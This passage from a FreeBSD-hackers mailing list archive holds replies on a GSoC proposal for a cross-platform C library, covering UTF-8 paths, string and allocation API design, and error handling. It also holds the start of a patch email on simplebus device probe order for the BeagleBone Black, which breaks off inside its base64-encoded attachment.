with ESMTPSA id o43sm34517528eef.12.2014.03.02.01.54.11 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 02 Mar 2014 01:54:12 -0800 (PST) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: GSoC proposal: Quirinus C library (qc) Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=iso-8859-2 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: <20140227182641.GE47921@funkthat.com> Date: Sun, 2 Mar 2014 10:54:09 +0100 Content-Transfer-Encoding: quoted-printable Message-Id: <5A166BC2-D34A-473C-BEFA-9E04760A0AAB@FreeBSD.org> References: <20140227182641.GE47921@funkthat.com> To: John-Mark Gurney X-Mailer: Apple Mail (2.1283) Cc: Jordan Hubbard , =?iso-8859-2?Q?=3F=3Fukasz_W=F3jcik?= , hackers@freebsd.org, ghostmansd@gmail.com, =?iso-8859-2?Q?Fernando_Apestegu=EDa?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 02 Mar 2014 09:54:15 -0000 Wiadomo=B6=E6 napisana przez John-Mark Gurney w dniu 27 lut 2014, o = godz. 19:26: > Dmitry Selyutin wrote this message on Thu, Feb 27, 2014 at 19:39 = +0400: >> As for strings, I will not use UTF-16 since it provides more problems >> rather than solutions. If I provide a function which accepts char* or = char >> const* argument, I imply that such function uses only ASCII (may be I = will >> change ASCII to UTF-8). Encoding is used only if a user has requested = it >> explicitly; the only place where I have made exception is system path = since >> path requires to be in UTF-16 on Windows. That is the reason why = qc_path >> requires qc_codecs-related functions. >=20 > You do realize that FreeBSD does not enforce any coding on path names > current, correct? So, requiring a coding format on FreeBSD (UTF-16) > will mean some paths may not be accessible, since I assume you conver > the UTF-16 string to UTF-8 before opening on FreeBSD... >=20 > Hmm.. maybe it's time for a sysctl you can set on your system that > only allows you to create UTF-8 valid names to allow people to slowly > migrate to UTF-8? and a tool to report/convert old non-UTF-8 paths? There's already a ZFS property ("utfmode") exactly for this purpose. Actually, its funnier than that: because the kernel doesn't know = anything about UTF-8, one can create several files with the same name, but with different UTF-8 encodings. And there is ZFS property to fix this = problem as well ("normalization"). From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 2 11:19:29 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 50608298 for ; Sun, 2 Mar 2014 11:19:29 +0000 (UTC) Received: from mail-ee0-x233.google.com (mail-ee0-x233.google.com [IPv6:2a00:1450:4013:c00::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D4269137F for ; Sun, 2 Mar 2014 11:19:28 +0000 (UTC) Received: by mail-ee0-f51.google.com with SMTP id c13so1367311eek.38 for ; Sun, 02 Mar 2014 03:19:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=ebc7QzIzvuYnnQ56Hw2/XgaO2L+3/Z5SZ5326pDveJI=; b=0qTMEz4+YEADgMG86UtuOrDYNa0CyHX05MbcRrUNy2EOk2y/qAHhuWFk5zEtlslwAe 9s8Pcm5kGAT3Hs+Zwi1FXTGinPuwG7VRtLNw7zoqxkqVThpb8IMlxDDQ+DaDzOZ5ixlE IWftXZXotufdMJ2ODs1npIhfOYHJp18DoqnifJltxBwZImCL5HMxpoiK8/OBJGPYfdtW ae6UoS7TaEbE2t2DjbHoo7TPoVZw7ETwRdQiw3bD+8TRq5vFtEwgr3lH631LVb9P4YA2 22i6OZyJKRHWg06CXpSCsWEpU4GjPcGnNhi8gjb7+PJ0iH/tEBvEyoEiOHtipkg4R1x5 8Gfw== X-Received: by 10.15.73.134 with SMTP id h6mr33243254eey.15.1393759167272; Sun, 02 Mar 2014 03:19:27 -0800 (PST) Received: from strashydlo.home (adha144.neoplus.adsl.tpnet.pl. [79.184.156.144]) by mx.google.com with ESMTPSA id l4sm35339844eeo.9.2014.03.02.03.19.25 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 02 Mar 2014 03:19:26 -0800 (PST) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: GSoC proposal: Quirinus C library (qc) Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=utf-8 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: Date: Sun, 2 Mar 2014 12:19:23 +0100 Content-Transfer-Encoding: quoted-printable Message-Id: <486F2F86-940C-44E9-A606-C63C3B607CB1@freebsd.org> References: <20140227182641.GE47921@funkthat.com> <5A166BC2-D34A-473C-BEFA-9E04760A0AAB@FreeBSD.org> To: ghostmansd@gmail.com X-Mailer: Apple Mail (2.1283) Cc: Jordan Hubbard , =?iso-8859-2?Q?=3F=3Fukasz_W=F3jcik?= , John-Mark Gurney , hackers@freebsd.org, =?iso-8859-2?Q?Fernando_Apestegu=EDa?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 02 Mar 2014 11:19:29 -0000 Wiadomo=C5=9B=C4=87 napisana przez Dmitry Selyutin w dniu 2 mar 2014, o = godz. 11:10: > Hi Edward, >=20 > there is no such thing as different UTF-8 encodings. If you talk about = e.g. accents and diacritics representation, actually there are = normalization forms which apply to UCS points rather than to UTF-8 byte = sequences. If you mean the fact that the same UCS-4 code point can be = represented as different byte sequence, only the shortest form is = permitted. Right, normalization forms, that's what it's called. Still, there are = three or four of them, and I seem to remember OS X uses different one from opensource = world; that' s how I learned about them in the first place: by moving files = from Mac to FreeBSD and then trying to figure out why the shell autocompletion = doesn't work for them. > Honestly I think that UTF-8 is the only encoding that has right to = live. Other encodings seem to die or to be dead already. True that. > =D0=A1 =D1=83=D0=B2=D0=B0=D0=B6=D0=B5=D0=BD=D0=B8=D0=B5=D0=BC, > =D0=94=D0=BC=D0=B8=D1=82=D1=80=D0=B8=D0=B9 =D0=A1=D0=B5=D0=BB=D1=8E=D1=82= =D0=B8=D0=BD >=20 > 02.03.2014 13:54 =D0=BF=D0=BE=D0=BB=D1=8C=D0=B7=D0=BE=D0=B2=D0=B0=D1=82=D0= =B5=D0=BB=D1=8C "Edward Tomasz Napiera=C5=82a" = =D0=BD=D0=B0=D0=BF=D0=B8=D1=81=D0=B0=D0=BB: > Wiadomo=C5=9B=C4=87 napisana przez John-Mark Gurney w dniu 27 lut = 2014, o godz. 19:26: > > Dmitry Selyutin wrote this message on Thu, Feb 27, 2014 at 19:39 = +0400: > >> As for strings, I will not use UTF-16 since it provides more = problems > >> rather than solutions. If I provide a function which accepts char* = or char > >> const* argument, I imply that such function uses only ASCII (may be = I will > >> change ASCII to UTF-8). Encoding is used only if a user has = requested it > >> explicitly; the only place where I have made exception is system = path since > >> path requires to be in UTF-16 on Windows. That is the reason why = qc_path > >> requires qc_codecs-related functions. > > > > You do realize that FreeBSD does not enforce any coding on path = names > > current, correct? So, requiring a coding format on FreeBSD (UTF-16) > > will mean some paths may not be accessible, since I assume you = conver > > the UTF-16 string to UTF-8 before opening on FreeBSD... > > > > Hmm.. maybe it's time for a sysctl you can set on your system that > > only allows you to create UTF-8 valid names to allow people to = slowly > > migrate to UTF-8? and a tool to report/convert old non-UTF-8 paths? >=20 > There's already a ZFS property ("utfmode") exactly for this purpose. >=20 > Actually, its funnier than that: because the kernel doesn't know = anything > about UTF-8, one can create several files with the same name, but with > different UTF-8 encodings. And there is ZFS property to fix this = problem > as well ("normalization"). >=20 From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 2 19:07:24 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 66578A62; Sun, 2 Mar 2014 19:07:24 +0000 (UTC) Received: from mail-wg0-x231.google.com (mail-wg0-x231.google.com [IPv6:2a00:1450:400c:c00::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C275E1D81; Sun, 2 Mar 2014 19:07:23 +0000 (UTC) Received: by mail-wg0-f49.google.com with SMTP id b13so436077wgh.8 for ; Sun, 02 Mar 2014 11:07:22 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:from:date:message-id:subject:to:cc :content-type; bh=mRPtxAsKV94f/5WZ/bpDCs2rAxDcCJtHBJSKjriSXVA=; b=wnCYF2MrVdsWxhPPl97EEmX4acWnjBz2xVtO+3Gjg+lr8F8ULAtN+tdBURLrtrFlUO w1J3yRaql58+S4XSx2YYiEmC4bO83LJS4nwJQubgjYfPQ3YaD/eLY7scFrkant01A9sG VV/WL/ost2kSakwXHvmRbqX7fY5J/Ls1oA8nv7PhkJd3S8LwFN2Kmjq5n/2Wmfw/bhGX VbHA4F2WU4+pTNbVdBebCOBxzrL2WYq0Zow7agdpfaAweZeKXcZXL9SRyp8VqN3AfXxW jDQMMGKpUE0jkk8n00XZ/d9DW8es4k1k88neRJ6cv+7TyOPZKzBmQgsfxtheJa6MDNnP ySoA== X-Received: by 10.194.91.232 with SMTP id ch8mr11806730wjb.13.1393787242179; Sun, 02 Mar 2014 11:07:22 -0800 (PST) MIME-Version: 1.0 Received: by 10.194.206.68 with HTTP; Sun, 2 Mar 2014 11:07:02 -0800 (PST) From: Dmitry Selyutin Date: Sun, 2 Mar 2014 23:07:02 +0400 Message-ID: Subject: Re: GSoC proposal: Quirinus C library (qc) To: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: Jordan Hubbard , =?UTF-8?B?Pz91a2FzeiBXw7NqY2lr?= , John-Mark Gurney , hackers@freebsd.org, =?UTF-8?Q?Fernando_Apestegu=C3=ADa?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: ghostmansd@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 02 Mar 2014 19:07:24 -0000 Hello everyone! In order to meet both GSoC requirements and to realize the most necessary features first, I thought that it may be a good idea to start qc library with core and i18n modules, since it seems to be a part where Open Source suffers at most. But first I'd like to start with some general changes inside the entire library. Then I'd like to send a letter (or may be two, I guess) to describe both *core* and *i18n* modules. 1. The types that may be found in *core* module are unprefixed; the names for the other types begin with module name followed by type name (e.g. *qc_bytes*, but *qc_i18n_calendar*). 2. Each new type will receive a new macro that is used to initialize variable on the stack. Such macro will be the uppercase form of the type name, e.g.: qc_bytes encbuf = QC_BYTES; /* initialize new object */ I want to do it since I've realized that users sometimes need to allocate type on the stack, not on the heap. qc_TYPE_release may be used to free memory after object initialization or modification. So we will have actually four general functions: void * qc_TYPE_construct(void); /* allocate new TYPE on the stack */ void * qc_TYPE_replicate(void const*); /* allocate new TYPE and copy data from the old one */ void qc_TYPE_destruct(void*); /* deallocate TYPE and all its data */ void qc_TYPE_release(void*); /* free memory occupied by data of TYPE */ One may argue that it may be overkill to have qc_TYPE_construct while we have qc_alloc and it is even worse to have both qc_TYPE_destruct and qc_TYPE_release. The main reason why I do it is to provide general-type array which will provide C++-like vectors. I'd like to discuss it; probably qc_TYPE_replicate and qc_TYPE_release are enough to go. 3. Allocations and reallocations store size of allocated memory before returned pointer (i.e. allocate `size` of bytes plus `sizeof(size_t)` before). This was done to allow `qc_realloc` and `qc_crealloc` functions to copy data immediately (plain `realloc` function doesn't copy data, just allocates bigger buffer if necessary). Neither `qc_dealloc` nor `qc_TYPE_dealloc` nor `qc_TYPE_release` shall set qc_errno variable. 4. Old null-terminated char and wchar_t strings shall be deprecated where it is possible. I'd rather avoid them at all, since: 1) character may have sign which seems to be absurd to me, at least on modern systems; 2) wchar_t may have different size and doesn't imply neither UCS-4 nor UCS-2 nor UTF-16. I see two solutions: A). Since it may be more habitual for some programmers and APIs to work with null-terminated char strings, I've decided to leave some functions for it, such as strcmp, stricmp, strlen, strdup, strchr, strrchr. There is convention to distinct between different char types, so strcmp comes in four flavours: qc_strcmp, qc_wstrcmp, qc_mbstrcmp, qc_ucstrcmp, where the first works with char, the second with wchar_t and the last two work with qc_byte and qc_ucs respectively. B). The only places where they may be actually in use are qc_TYPE_import functions, where qc library implies that all data given is either ASCII-encoded character sequence or properly formed Unicode. Strings in qc library are only qc_bytes and qc_unicode. I'd like to discuss this question too. I know that it may be convenient to use old null-style strings; however, I rather think that it is the first common mistake in string handling (the second is to use UTF-16 in APIs extensively as it do Microsoft and a lot of libraries and languages like ICU, Java, Python (until Py3K), etc.). See e.g. this discussion: http://stackoverflow.com/questions/4418708/whats-the-rationale-for-null-terminated-strings. To me it seems better to avoid null-terminated strings at all. No, seriously. This is what I wanted to write about some general thoughts about the future of the library. What do you think about it? If some of you thinks about this as mentor may think about project, I'd probably want to formulate my proposal in some wiki or something similar where it is easier to edit and review. It may be difficult to look though letters sometimes. Thank you for your attention, and I'm looking forward to your letters. -- With best regards, Dmitry Selyutin From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 2 19:51:21 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7C28ACB0 for ; Sun, 2 Mar 2014 19:51:21 +0000 (UTC) Received: from mail-qc0-f171.google.com (mail-qc0-f171.google.com [209.85.216.171]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 379AD1293 for ; Sun, 2 Mar 2014 19:51:20 +0000 (UTC) Received: by mail-qc0-f171.google.com with SMTP id x13so1742989qcv.30 for ; Sun, 02 Mar 2014 11:51:13 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:sender:in-reply-to:references:from :date:message-id:subject:to:cc:content-type; bh=NEueXTMhUMlMA/z2M1BKrSAfAXTHhbMt2NmGlNqEqe4=; b=j7mv4I94z96wbkzGEHU2B8OcLg/b1XRhdhAr4YB8/ny9S7FxEOODVeXpPPHbW3ZGcY uS9m3kWM2ikSoKDSdLBCnDrC/U3LoxqII2Qvzp/PLKpsVYPkxcGPkLWr1A07MjOKcUpD GvgHT9wUJrW/+zjIxVV62lJ2GyqWGpqeShPSB6zMED6dMwkJKgaj6N70dmz5u6UilQW1 D9kBtxeqOIZ8HTCizb/2eg237yTwPpOcc2+rglbKicjCwJVihfA6lIUVdcfNHoetllUw 8uegXcGaFIpCYe8VvDOrziTdUq7N885NyV+TfdfAJ/ED2XqKVl8Y7zG7cjZeHYFmpmgG J8yQ== X-Gm-Message-State: ALoCoQnCpOa+huRmSU2jZlOeHeBwaOOLBxuskSLBovsOMq0i2eQNuBHzT2lpPPQtQlaxvTKTPYaG X-Received: by 10.140.37.47 with SMTP id q44mr18153166qgq.57.1393789873548; Sun, 02 Mar 2014 11:51:13 -0800 (PST) MIME-Version: 1.0 Sender: jmmv@meroh.net Received: by 10.96.83.102 with HTTP; Sun, 2 Mar 2014 11:50:53 -0800 (PST) X-Originating-IP: [108.176.158.82] In-Reply-To: References: From: Julio Merino Date: Sun, 2 Mar 2014 14:50:53 -0500 X-Google-Sender-Auth: oBmdPah4QT-HXRpjm-tJYQtHAjo Message-ID: Subject: Re: GSoC proposal: Quirinus C library (qc) To: ghostmansd@gmail.com Content-Type: text/plain; charset=ISO-8859-1 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 02 Mar 2014 19:51:21 -0000 Hello Dmitry, As others have mentioned, having such a BSD-licensed library would be a nice thing, but it's also a huge undertake. I guess that if you scope the project properly, you'd come out of GSoC with just a tiny piece of it working. But that has already been discussed. The reason I'm replying is because of the one comment below: On Tue, Feb 25, 2014 at 3:24 AM, Dmitry Selyutin wrote: > > 2. Common and universal error type, qc_error. Such errors can be generated > from errno values as well as from Windows API errors. > Almost all functions from qc library except for the three common functions > (constructor, destructor, replicator) return qc_error code and set specific > qc_errno variable to this code. > It is now possible to write such constructions: > if (qc_bytes_import_str(bytes_instance, "Hello, world!")) > qc_errormsg(qc_errno, "error check"); > Global variable qc_errno is implemented in terms of multithreading > applications, it is unique for every running thread. For error handling, I'm quite happy with what I did in ATF/Kyua. Basically, indicating "no error" brings no more overhead than returning and checking a NULL pointer, whereas indicating "error" can provide arbitrary amounts of information in dynamically-allocated structures. There is no global state (i.e. no "errno" style variables). The base library has support to pass around "libc" errors, usage errors, generic errors and OOM errors. The latter are interesting because no memory allocation should take place when reporting an OOM condition. Lastly, client code can define its own error objects if so wishes to pass around other structured data. The code, BSD-licensed, is here: https://github.com/jmmv/kyua/blob/master/kyua-testers/error_fwd.h https://github.com/jmmv/kyua/blob/master/kyua-testers/error.h https://github.com/jmmv/kyua/blob/master/kyua-testers/error.c From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 2 20:31:44 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BC12ACC4; Sun, 2 Mar 2014 20:31:44 +0000 (UTC) Received: from mail-wi0-x233.google.com (mail-wi0-x233.google.com [IPv6:2a00:1450:400c:c05::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 220181612; Sun, 2 Mar 2014 20:31:43 +0000 (UTC) Received: by mail-wi0-f179.google.com with SMTP id bs8so2406903wib.12 for ; Sun, 02 Mar 2014 12:31:42 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=5m7MOICkNV9mgOwZBI0HRmLEdnZ/blmytcXrBwngmX4=; b=Ip1wGSR97slNvBFbEEQWyUhcFmtk4MR5t7xf42FOUYaLgHs4uKxg6O99y4XpUKGnZR 5Qz8u3p3RXAUiGy0wwILlZriiSig3ujcZD6sNRCFzhs+mGPPyJaahC9zIdWsBFCJCzs7 j8igtin1VdTBOM4yoC3VyyHsrC7LNJQ/+VKTgeCBReko54abrNRka1Vp6eJtI+MM0hbn S7Ce6pNyrQYcFZpIWaH26dC/586q5SHycPMXwt0CVEonFyg8md5gHR7gFxptG63UbNBr BMx1AVsSjHzGMOhhSBgRf+z2TDJds/Pex7dEtbXhg4UmrQRrnxcoBeIPjyylvwj+zQsu ZOIg== X-Received: by 10.194.57.140 with SMTP id i12mr11698275wjq.20.1393792302108; Sun, 02 Mar 2014 12:31:42 -0800 (PST) MIME-Version: 1.0 Received: by 10.194.206.68 with HTTP; Sun, 2 Mar 2014 12:31:22 -0800 (PST) In-Reply-To: References: From: Dmitry Selyutin Date: Mon, 3 Mar 2014 00:31:22 +0400 Message-ID: Subject: Re: GSoC proposal: Quirinus C library (qc) To: Julio Merino Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: ghostmansd@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 02 Mar 2014 20:31:44 -0000 Hi Julio, I've seen such type handling in libvirt, and I really like it since it provides a great error handling with detailed description. The most reason why I like it is because it enables the possibility to add new error types. The first reason I've been using enum rather than such style is because I wanted a minimal overhead as well as habitual interface (see e.g. POSIX functions returning zero on success). The other reason is that my library is like a bridge between POSIX and Windows: I want universal error code mappings between errno and GetLastError. I know such thing can't be completely universal, but I've always thought that cross-platformness is just when platform-depended code is best hidden, so noone may see it. :-) And thanks for your letter, I think several concepts are incredibly useful and may be adopted to qc library. 2014-03-02 23:50 GMT+04:00 Julio Merino : > Hello Dmitry, > > As others have mentioned, having such a BSD-licensed library would be > a nice thing, but it's also a huge undertake. I guess that if you > scope the project properly, you'd come out of GSoC with just a tiny > piece of it working. > > But that has already been discussed. The reason I'm replying is > because of the one comment below: > > On Tue, Feb 25, 2014 at 3:24 AM, Dmitry Selyutin > wrote: > > > > 2. Common and universal error type, qc_error. Such errors can be > generated > > from errno values as well as from Windows API errors. > > Almost all functions from qc library except for the three common > functions > > (constructor, destructor, replicator) return qc_error code and set > specific > > qc_errno variable to this code. > > It is now possible to write such constructions: > > if (qc_bytes_import_str(bytes_instance, "Hello, world!")) > > qc_errormsg(qc_errno, "error check"); > > Global variable qc_errno is implemented in terms of multithreading > > applications, it is unique for every running thread. > > For error handling, I'm quite happy with what I did in ATF/Kyua. > Basically, indicating "no error" brings no more overhead than > returning and checking a NULL pointer, whereas indicating "error" can > provide arbitrary amounts of information in dynamically-allocated > structures. There is no global state (i.e. no "errno" style > variables). > > The base library has support to pass around "libc" errors, usage > errors, generic errors and OOM errors. The latter are interesting > because no memory allocation should take place when reporting an OOM > condition. Lastly, client code can define its own error objects if so > wishes to pass around other structured data. > > The code, BSD-licensed, is here: > > https://github.com/jmmv/kyua/blob/master/kyua-testers/error_fwd.h > https://github.com/jmmv/kyua/blob/master/kyua-testers/error.h > https://github.com/jmmv/kyua/blob/master/kyua-testers/error.c > -- With best regards, Dmitry Selyutin From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 2 23:56:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D2664517; Sun, 2 Mar 2014 23:56:19 +0000 (UTC) Received: from mail-ea0-x231.google.com (mail-ea0-x231.google.com [IPv6:2a00:1450:4013:c01::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 10F6B184E; Sun, 2 Mar 2014 23:56:18 +0000 (UTC) Received: by mail-ea0-f177.google.com with SMTP id h10so3984767eak.22 for ; Sun, 02 Mar 2014 15:56:17 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:cc:content-type; bh=r/EEzXsRPt4GOCkAdcyDJVvG3PgQOpvyegLiLjx3MFQ=; b=g9eCkjZ9KGXnmYP7/YwkGBH8H1yFa3F1BXl5mTyP2l4MGNx9dXww9Fz0SW2XRZ/MjH KoEEBN2O4cPjMYNkzjO0wvBi9qJuQGFAZYPGvSPgmRpFbHXJzTEZmJNHOJ+sBIWcK1g5 IFWdztAl7sCCZFYXqX7c17Wln4MvaSlK5EjpzwqwpUzEM3YJ/zomSRo7KGXdE/E0iv3m cgUxPjzx9SwOPlHZ5R9ElEIXgn8zu8PJiqSoMfS/jkdCHReZMEKlKexHgQ/72DKWyGYs B04YLHBYv/sTTdiIbxUTxFhwwYazDyiM/1f8ZcCi48xA3D9H73ZsEOgnxLiXY5eoOoQe Y1Ug== MIME-Version: 1.0 X-Received: by 10.204.81.14 with SMTP id v14mr5909456bkk.3.1393804577340; Sun, 02 Mar 2014 15:56:17 -0800 (PST) Sender: pkelsey@gmail.com Received: by 10.205.71.201 with HTTP; Sun, 2 Mar 2014 15:56:17 -0800 (PST) Date: Sun, 2 Mar 2014 18:56:17 -0500 X-Google-Sender-Auth: 0fIeyW3wagW4_GZIa8h4rRj6W2U Message-ID: Subject: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Patrick Kelsey To: freebsd-embedded@freebsd.org Content-Type: multipart/mixed; boundary=047d7beb9394b8344804f3a86a73 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , freebsd-arm@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 02 Mar 2014 23:56:19 -0000 --047d7beb9394b8344804f3a86a73 Content-Type: text/plain; charset=ISO-8859-1 Hi, The attached patch (fdt_probe_order_control.patch) allows control over the probe order of simplebus child devices by using a "probe-order" property in simplebus child nodes in the .dts file. This was motivated by booting FreeBSD from the eMMC on a BeagleBone Black, which has a pluggable microSD card slot in addition to the eMMC. The order that the mmc units are defined in sys/boot/fdt/dts/am335x.dtsi causes the pluggable slot to be probed/attached first, so the device name assigned to the eMMC soldered to the board changes depending on whether there is a card in the pluggable slot, which makes establishing appropriate /etc/fstab contents less than convenient. By using the "probe-order" property in sys/boot/fdt/dts/beaglebone-black.dts (see attached beaglebone_black_mmc_probe_order.patch), I am able to swap the order in which the mmc units are probed/attached for that board. This avoids inappropriate hacking of the mmc definition order in am335x.dtsi, which is shared among multiple boards. This is not a general solution to the problem of wanting stable device names for hard-wired MMC devices when pluggable slots are present in the system. There could, for example, be a multi-slot MMC controller with a mixture of hard-wired and pluggable devices attached, and this would not address that case. However, it does address the needs of BeagleBone Black, and the mechanism may be of use for similar issues on other platforms. Both patches were generated against 10-STABLE, r262447. -Patrick --047d7beb9394b8344804f3a86a73 Content-Type: application/octet-stream; name="fdt_probe_order_control.patch" Content-Disposition: attachment; filename="fdt_probe_order_control.patch" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsaz0nxi0 SW5kZXg6IHN5cy9kZXYvZmR0L3NpbXBsZWJ1cy5jCj09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIHN5cy9kZXYvZmR0 L3NpbXBsZWJ1cy5jCShyZXZpc2lvbiAyNjI0NDcpCisrKyBzeXMvZGV2L2ZkdC9zaW1wbGVidXMu Ywkod29ya2luZyBjb3B5KQpAQCAtMTYxLDE2ICsxNjEsNjEgQEAKIAlzdHJ1Y3Qgc2ltcGxlYnVz X2RldmluZm8gKmRpOwogCXN0cnVjdCBzaW1wbGVidXNfc29mdGMgKnNjOwogCXBoYW5kbGVfdCBk dF9ub2RlLCBkdF9jaGlsZDsKKyNkZWZpbmUgUFJPQkVfVU5PUkRFUkVEIElOVDMyX01JTgorCWlu dDMyX3QgcHJvYmVfb3JkZXI7CisJc3RydWN0IHNvcnRxX2VudHJ5IHsKKwkJVEFJTFFfRU5UUlko c29ydHFfZW50cnkpIGxpbms7CisJCWludDMyX3QgcHJvYmVfb3JkZXI7CisJCXBoYW5kbGVfdCBk dF9jaGlsZDsKKwl9ICpuZXdfc3FlLCAqc3FlLCAqc3FlX3RtcDsKKwlUQUlMUV9IRUFEKHNvcnRx X2hlYWQsIHNvcnRxX2VudHJ5KSBzcSA9IFRBSUxRX0hFQURfSU5JVElBTElaRVIoc3EpOwogCiAJ c2MgPSBkZXZpY2VfZ2V0X3NvZnRjKGRldik7CiAKIAkvKgotCSAqIFdhbGsgc2ltcGxlLWJ1cyBh bmQgYWRkIGRpcmVjdCBzdWJvcmRpbmF0ZXMgYXMgb3VyIGNoaWxkcmVuLgorCSAqIFdhbGsgc2lt cGxlLWJ1cyBhbmQgcXVldWUgZGlyZWN0IHN1Ym9yZGluYXRlcyB0byBiZSBhZGRlZCBhcyBvdXIK KwkgKiBjaGlsZHJlbiBiZWxvdywgcmVzcGVjdGluZyBhbnkgc3BlY2lmaWVkIHByb2JlIG9yZGVy aW5nLgogCSAqLwogCWR0X25vZGUgPSBvZndfYnVzX2dldF9ub2RlKGRldik7CiAJZm9yIChkdF9j aGlsZCA9IE9GX2NoaWxkKGR0X25vZGUpOyBkdF9jaGlsZCAhPSAwOwogCSAgICBkdF9jaGlsZCA9 IE9GX3BlZXIoZHRfY2hpbGQpKSB7CiAKKwkJbmV3X3NxZSA9IG1hbGxvYyhzaXplb2YoKnNxZSks IE1fU0lNUExFQlVTLCBNX1dBSVRPSyk7CisJCW5ld19zcWUtPmR0X2NoaWxkID0gZHRfY2hpbGQ7 CisKKwkJLyoKKwkJICogUHJlc2VydmUgdGhlIGV4aXN0aW5nIG9yZGVyLCB1bmxlc3MgdGhpcyBj 